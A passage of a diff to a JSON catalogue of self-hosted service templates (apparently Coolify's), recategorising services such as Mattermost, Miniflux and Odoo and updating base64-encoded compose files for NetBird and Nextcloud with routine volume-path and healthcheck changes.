         "port": "80"
@@ -2040,7 +2040,7 @@
             "home",
             "organize"
         ],
-        "category": "storage",
+        "category": "productivity",
         "logo": "svgs/homebox.svg",
         "minversion": "0.0.0",
         "port": "7745"
@@ -2141,7 +2141,7 @@
             "finance",
             "self-hosted"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/invoiceninja.png",
         "minversion": "0.0.0",
         "port": "9000"
@@ -2733,7 +2733,7 @@
             "slack",
             "alternative"
         ],
-        "category": "mattermost",
+        "category": "messaging",
         "logo": "svgs/mattermost.svg",
         "minversion": "0.0.0",
         "port": "8065"
@@ -2884,7 +2884,7 @@
             "self",
             "hosted"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/miniflux.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -3029,7 +3029,7 @@
     "netbird-client": {
         "documentation": "https://docs.netbird.io/how-to/examples#net-bird-client-in-docker?utm_source=coolify.io",
         "slogan": "Connect your devices into a secure WireGuard\u00ae-based overlay network with SSO, MFA and granular access controls.",
-        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05CX1NFVFVQX0tFWT0ke05CX1NFVFVQX0tFWX0nCiAgICAgIC0gJ05CX0VOQUJMRV9ST1NFTlBBU1M9JHtOQl9FTkFCTEVfUk9TRU5QQVNTOi1mYWxzZX0nCiAgICAgIC0gJ05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OPSR7TkJfRU5BQkxFX0VYUEVSSU1FTlRBTF9MQVpZX0NPTk46LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25ldGJpcmQtY2xpZW50Oi9ldGMvbmV0YmlyZCcKICAgIGNhcF9hZGQ6CiAgICAgIC0gTkVUX0FETUlOCiAgICAgIC0gU1lTX0FETUlOCiAgICAgIC0gU1lTX1JFU09VUkNFCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbmV0YmlyZAogICAgICAgIC0gdmVyc2lvbgogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
+        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05CX1NFVFVQX0tFWT0ke05CX1NFVFVQX0tFWX0nCiAgICAgIC0gJ05CX0VOQUJMRV9ST1NFTlBBU1M9JHtOQl9FTkFCTEVfUk9TRU5QQVNTOi1mYWxzZX0nCiAgICAgIC0gJ05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OPSR7TkJfRU5BQkxFX0VYUEVSSU1FTlRBTF9MQVpZX0NPTk46LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25ldGJpcmQtY2xpZW50Oi92YXIvbGliL25ldGJpcmQnCiAgICBjYXBfYWRkOgogICAgICAtIE5FVF9BRE1JTgogICAgICAtIFNZU19BRE1JTgogICAgICAtIFNZU19SRVNPVVJDRQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5ldGJpcmQKICAgICAgICAtIHZlcnNpb24KICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "wireguard",
             "mesh-networks",
@@ -3067,7 +3067,7 @@
             "zero-trust-network-access",
             "open source"
         ],
-        "category": null,
+        "category": "proxy",
         "logo": "svgs/pangolin-logo.png",
         "minversion": "0.0.0"
     },
@@ -3089,7 +3089,7 @@
     "nextcloud-with-mariadb": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9QYXJpc30nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TUFSSUFEQl9EQVRBQkFTRTotbmV4dGNsb3VkfScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtIE1ZU1FMX0hPU1Q9bmV4dGNsb3VkLWRiCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIG5leHRjbG91ZC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIG5leHRjbG91ZC1kYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1tYXJpYWRiLWRhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUk9PVH0nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TUFSSUFEQl9EQVRBQkFTRTotbmV4dGNsb3VkfScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuNC1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtcmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=",
+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9QYXJpc30nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TUFSSUFEQl9EQVRBQkFTRTotbmV4dGNsb3VkfScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NQVJJQURCfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01BUklBREJ9JwogICAgICAtIE1ZU1FMX0hPU1Q9bmV4dGNsb3VkLWRiCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIG5leHRjbG91ZC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwL3N0YXR1cy5waHAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbmV4dGNsb3VkLWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLW1hcmlhZGItZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1uZXh0Y2xvdWR9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTUFSSUFEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny40LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1yZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
         "tags": [
             "cloud",
             "collaboration",
@@ -3105,7 +3105,7 @@
     "nextcloud-with-mysql": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9QYXJpc30nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LW5leHRjbG91ZH0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtIE1ZU1FMX0hPU1Q9bmV4dGNsb3VkLWRiCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIG5leHRjbG91ZC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIG5leHRjbG91ZC1kYjoKICAgIGltYWdlOiAnbXlzcWw6OC40LjInCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtbXlzcWwtZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotbmV4dGNsb3VkfScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbXlzcWxhZG1pbgogICAgICAgIC0gcGluZwogICAgICAgIC0gJy1oJwogICAgICAgIC0gMTI3LjAuMC4xCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny40LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1yZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9QYXJpc30nCiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LW5leHRjbG91ZH0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtIE1ZU1FMX0hPU1Q9bmV4dGNsb3VkLWRiCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIG5leHRjbG91ZC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwL3N0YXR1cy5waHAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbmV4dGNsb3VkLWRiOgogICAgaW1hZ2U6ICdteXNxbDo4LjQuMicKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1teXNxbC1kYXRhOi92YXIvbGliL215c3FsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1uZXh0Y2xvdWR9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBteXNxbGFkbWluCiAgICAgICAgLSBwaW5nCiAgICAgICAgLSAnLWgnCiAgICAgICAgLSAxMjcuMC4wLjEKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3LjQtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLXJlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK",
         "tags": [
             "cloud",
             "collaboration",
@@ -3121,7 +3121,7 @@
     "nextcloud-with-postgres": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9QYXJpc30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW5leHRjbG91ZH0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtIFBPU1RHUkVTX0hPU1Q9bmV4dGNsb3VkLWRiCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIG5leHRjbG91ZC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIG5leHRjbG91ZC1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLXBvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW5leHRjbG91ZH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuNC1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtcmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=",
+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9QYXJpc30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW5leHRjbG91ZH0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtIFBPU1RHUkVTX0hPU1Q9bmV4dGNsb3VkLWRiCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGRlcGVuZHNfb246CiAgICAgIG5leHRjbG91ZC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwL3N0YXR1cy5waHAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbmV4dGNsb3VkLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbmV4dGNsb3VkfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny40LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25leHRjbG91ZC1yZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCg==",
         "tags": [
             "cloud",
             "collaboration",
@@ -3137,7 +3137,7 @@
     "nextcloud": {
         "documentation": "https://docs.nextcloud.com?utm_source=coolify.io",
         "slogan": "NextCloud is a self-hosted, open-source platform that provides file storage, collaboration, and communication tools for seamless data management.",
-        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9NYWRyaWR9JwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUK",
+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTkVYVENMT1VEXzgwCiAgICAgIC0gUFVJRD0xMDAwCiAgICAgIC0gUEdJRD0xMDAwCiAgICAgIC0gJ1RaPSR7VFo6LUV1cm9wZS9NYWRyaWR9JwogICAgdm9sdW1lczoKICAgICAgLSAnbmV4dGNsb3VkLWNvbmZpZzovY29uZmlnJwogICAgICAtICduZXh0Y2xvdWQtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MC9zdGF0dXMucGhwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQo=",
         "tags": [
             "cloud",
             "collaboration",
@@ -3250,7 +3250,7 @@
             "sqlite",
             "mariadb"
         ],
-        "category": "automation",
+        "category": "productivity",
         "logo": "svgs/nocodb.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -3313,7 +3313,7 @@
             "project management",
             "open-source"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/odoo.svg",
         "minversion": "0.0.0",
         "port": "8069"
@@ -3399,7 +3399,7 @@
             "compliance",
             "search"
         ],
-        "category": null,
+        "category": "email",
         "logo": "svgs/openarchiver.svg",
         "minversion": "0.0.0",
